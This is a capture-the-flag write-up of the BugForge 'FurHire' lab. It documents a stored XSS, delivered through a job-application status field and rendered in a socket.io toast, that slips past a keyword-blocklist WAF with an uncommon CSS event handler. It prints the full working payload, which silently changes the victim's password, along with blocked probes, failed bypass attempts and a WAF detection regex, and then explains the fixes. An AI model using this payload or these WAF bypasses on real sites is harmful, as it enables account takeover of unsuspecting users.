Security Labs

CTF and security lab write-ups

← Back

BugForge - FurHire WAF Bypass Lab Writeup

Date: 2026-03-14 Difficulty: Medium Platform: BugForge

Executive Summary

Overall Risk Rating: πŸ”΄ Critical

Key Findings:

  1. Stored XSS via application status field rendered through socket.io toast notification (innerHTML sink)
  2. WAF keyword blocklist bypass using oncontentvisibilityautostatechange β€” a newer CSS event handler not in the blocklist
  3. No-interaction trigger via content-visibility:auto CSS property

Business Impact: Stored XSS enables full account takeover of any job seeker on the platform. An attacker acting as a recruiter can change any applicant’s password without their knowledge, gaining complete access to their account and personal data.


Objective

Achieve XSS on target user jeremy. The application has a WAF blocking standard XSS vectors.

Initial Access

# Target Application
URL: https://lab-1773522863657-6jdfnj.labs-app.bugforge.io

# Auth: Self-registered accounts with JWT (HttpOnly cookie)
# PwnFox container isolation:
#   Blue = seeker (id=6) β€” recon and receiving toasts
#   Yellow = recruiter (id=7) β€” injection via status updates

Key Findings

Critical & High-Risk Vulnerabilities

  1. Stored XSS via application status field β€” The PUT /api/applications/:id/status endpoint accepts arbitrary HTML in the status field. The server includes this raw value in socket.io status_update messages, which showToast() renders via innerHTML (CWE-79)
  2. WAF blocklist gaps β€” The WAF uses a keyword blocklist for event handlers rather than a broad pattern like on\w+=. Newer browser event handlers not in the list pass through unblocked (CWE-693)
  3. Missing input validation on status field β€” Server does not constrain status to known values (CWE-20)

CVSS v3.1 Score for Stored XSS: 9.6 (Critical)

Metric Value
Attack Vector Network
Attack Complexity Low
Privileges Required Low
User Interaction None
Scope Changed
Confidentiality High
Integrity High
Availability None

Enumeration Summary

Application Analysis

Tech Stack:

Target Endpoints Discovered:

Method Path Role Notes
POST /api/register public username, email, full_name, role, password
POST /api/login public Β 
PUT /api/profile user bio, location, phone, years_experience, skills
PUT /api/profile/password user newPassword
PUT /api/company recruiter company_name, industry, description, location, website
POST /api/jobs recruiter title, description, location, job_type, salary_range, requirements
POST /api/jobs/:id/apply user cover_letter
GET /api/jobs/:id/applicants recruiter list of applicants
PUT /api/applications/:id/status recruiter status β€” INJECTION POINT
GET /api/my-applications user seeker’s application history

Attack Chain Visualization

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    POST /api/jobs     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   Attacker   │──────────────────────▢│  FurHire App β”‚
β”‚  (recruiter) β”‚                       β”‚   (Express)  β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜                       β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚                                      β”‚
       β”‚  jeremy applies to job (~3 min)      β”‚
       β”‚β—€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚
       β”‚  PUT /api/applications/:id/status
       β”‚  {"status":"accepted<img oncontentvisi..."}
       β”‚β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Άβ”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
       β”‚                                     β”‚   WAF    β”‚
       β”‚          WAF passes payload         β”‚ blocklistβ”‚
       β”‚β—€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚                                      β”‚
       β”‚                              β”Œβ”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”
       β”‚                              β”‚   socket.io   β”‚
       β”‚                              β”‚ status_update β”‚
       β”‚                              β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚                                      β”‚
       β”‚                              β”Œβ”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”
       β”‚                              β”‚  jeremy's     β”‚
       β”‚                              β”‚  browser      β”‚
       β”‚                              β”‚               β”‚
       β”‚                              β”‚ showToast()   β”‚
       β”‚                              β”‚  innerHTML    │──▢ XSS fires
       β”‚                              β”‚               β”‚
       β”‚                              β”‚ fetch() PUT   β”‚
       β”‚                              β”‚ /api/profile/ β”‚
       β”‚                              β”‚ password      │──▢ password = "password2"
       β”‚                              β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚
       β”‚  POST /api/login {jeremy:password2}
       │─────────────────────────────────────▢ Account takeover βœ“

Attack Path Summary:

  1. Register as recruiter, create company, post job listing
  2. Wait for jeremy’s bot to apply (~3 min)
  3. Update application status with XSS payload using unlisted event handler
  4. WAF passes payload β€” oncontentvisibilityautostatechange not in blocklist
  5. Socket.io delivers status_update to jeremy’s browser
  6. showToast() renders payload via innerHTML β€” XSS fires without interaction
  7. fetch() changes jeremy’s password to password2
  8. Login as jeremy β€” account takeover complete

Exploitation Path

Step 1: Reconnaissance β€” Mapping the Application

Registered two accounts using PwnFox for container isolation:

Mapped all API endpoints via browser devtools network tab. Identified the tech stack from X-Powered-By: Express header and socket.io connections in the WebSocket tab.

Step 2: Identify the Sink β€” showToast() innerHTML

The socket.io status_update event triggers showToast(data.message) which renders content via innerHTML without escaping. This is the only rendering path that doesn’t use FurHire.escapeHtml() β€” all page templates properly escape output.

// Vulnerable sink in app.js
function showToast(message) {
    const toast = document.createElement('div');
    toast.innerHTML = message;  // No escaping β€” raw HTML rendered
    // ...
}

Step 3: Identify the Injection Point β€” Application Status

The PUT /api/applications/:id/status endpoint accepts a JSON body with a status field. The server does not validate or sanitize this value β€” it’s included raw in the socket.io message sent to the applicant.

PUT /api/applications/1/status HTTP/1.1
Content-Type: application/json
Cookie: token=eyJ...

{"status":"accepted"}

The server emits:

socket.emit('status_update', {
    message: `Your application status has been updated to: ${status}`
});

Step 4: WAF Analysis and Bypass

Initial XSS attempts were blocked by the WAF:

// All blocked:
<img onerror=alert(1)>        β†’ blocked (onerror in blocklist)
<svg onload=alert(1)>         β†’ blocked (onload in blocklist)
<script>alert(1)</script>     β†’ blocked (<script in blocklist)
<iframe src=javascript:...>   β†’ blocked (javascript: in blocklist)

Tested the WAF’s detection approach:

<x onfakeevent=test>          β†’ PASSED βœ“

This confirmed the WAF uses a keyword blocklist, not a regex pattern like on\w+=. Any event handler not explicitly listed would bypass it.

Used oncontentvisibilityautostatechange β€” a CSS Containment Level 2 event that fires when an element’s content-visibility state changes. Combined with style=display:block;content-visibility:auto to trigger automatically without user interaction.

Step 5: Craft and Deliver the Payload

The payload needs to:

  1. Bypass the WAF (use unlisted event handler)
  2. Fire without user interaction (CSS content-visibility:auto)
  3. Change jeremy’s password (fetch to /api/profile/password)
  4. Use jeremy’s existing auth cookie (HttpOnly JWT sent automatically with same-origin fetch)
accepted<img oncontentvisibilityautostatechange=fetch('/api/profile/password',{'method':'PUT','headers':{'Content-Type':'application/json'},'body':atob('eyJuZXdQYXNzd29yZCI6InBhc3N3b3JkMiJ9')}) style=display:block;content-visibility:auto>

The base64-encoded body decodes to {"newPassword":"password2"}.

Delivered via:

PUT /api/applications/<jeremy-app-id>/status HTTP/1.1
Content-Type: application/json
Cookie: token=<recruiter-jwt>

{"status":"accepted<img oncontentvisibilityautostatechange=fetch('/api/profile/password',{'method':'PUT','headers':{'Content-Type':'application/json'},'body':atob('eyJuZXdQYXNzd29yZCI6InBhc3N3b3JkMiJ9')}) style=display:block;content-visibility:auto>"}

Socket.io delivered the status_update to jeremy’s browser. showToast() rendered the payload via innerHTML. content-visibility:auto triggered the event handler β€” fetch() changed jeremy’s password. Logged in as jeremy with password2.


Flag / Objective Achieved

βœ… Flag: bug{3pYyQ3gyX5KyzCVWqU3yAcBM5gO1dYne}

Account takeover achieved β€” logged in as jeremy after changing his password via stored XSS.


Key Learnings


Tools Used


Remediation

1. Stored XSS via innerHTML in showToast() (CVSS: 9.6 - Critical)

Issue: showToast() renders user-controlled content via innerHTML without sanitization, allowing arbitrary JavaScript execution in other users’ browsers.

CWE Reference: CWE-79 β€” Improper Neutralization of Input During Web Page Generation (β€˜Cross-site Scripting’)

Fix:

// BEFORE (Vulnerable)
function showToast(message) {
    const toast = document.createElement('div');
    toast.innerHTML = message;
}

// AFTER (Secure)
function showToast(message) {
    const toast = document.createElement('div');
    toast.textContent = message;  // Renders as text, not HTML
}

2. Missing Server-Side Input Validation on Status Field (CVSS: 8.1 - High)

Issue: The PUT /api/applications/:id/status endpoint accepts arbitrary strings in the status field. The server should constrain this to known status values.

CWE Reference: CWE-20 β€” Improper Input Validation

Fix:

// BEFORE (Vulnerable)
app.put('/api/applications/:id/status', (req, res) => {
    const { status } = req.body;
    updateApplicationStatus(id, status);
});

// AFTER (Secure)
const VALID_STATUSES = ['pending', 'reviewing', 'accepted', 'rejected'];

app.put('/api/applications/:id/status', (req, res) => {
    const { status } = req.body;
    if (!VALID_STATUSES.includes(status)) {
        return res.status(400).json({ error: 'Invalid status value' });
    }
    updateApplicationStatus(id, status);
});

3. WAF Blocklist Approach (CVSS: 5.3 - Medium)

Issue: WAF uses a static keyword blocklist for event handlers. New browser event handlers bypass it automatically.

CWE Reference: CWE-693 β€” Protection Mechanism Failure

Fix:

// WAF improvement: block ALL event handler patterns
// Instead of: ['onerror', 'onload', 'onclick', ...]
// Use regex:
const EVENT_HANDLER_PATTERN = /\bon[a-z]+=|<script|javascript:/i;

// But WAF is defense-in-depth, not the primary fix.
// The real fix is #1 (textContent) and #2 (input validation).

Failed Attempts

Approach 1: Job Title Injection

POST /api/jobs β€” title: "<img onerror=alert(1)>"

Result: Failed β€” All page templates use FurHire.escapeHtml(). Server also escapes title in socket messages.

Approach 2: Object Tag with Data URI

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>

Result: Failed β€” Bypassed the WAF but data: URIs execute in an opaque origin. No access to the parent page’s cookies or DOM.

Approach 3: JSON Unicode Escapes

\u006f\u006e\u0065\u0072\u0072\u006f\u0072

Result: Failed β€” WAF decodes unicode escapes before checking the blocklist.

Approach 4: Content Overload

Large request body attempting to exceed WAF inspection limits

Result: Failed β€” WAF inspects the full request body up to the server’s 100KB limit.

Approach 5: Content-Type Juggling

Sending XSS payload with non-JSON Content-Type headers

Result: Failed β€” WAF checks all content types, not just application/json.

Approach 6: URL Path Reflection

Injecting HTML via URL path parameters

Result: Failed β€” Server HTML-encodes <>&"' in reflected path parameters.

Approach 7: Company Website Field with Data URI

PUT /api/company β€” website: "data:text/html;base64,..."

Result: Failed β€” Even if jeremy’s bot clicked the link, the data: URI opens in a sandboxed opaque origin.


OWASP Top 10 Coverage


References

XSS & WAF Bypass Resources:


Tags: #xss #stored-xss #waf-bypass #socket-io #innerhtml #content-visibility #account-takeover #bugforge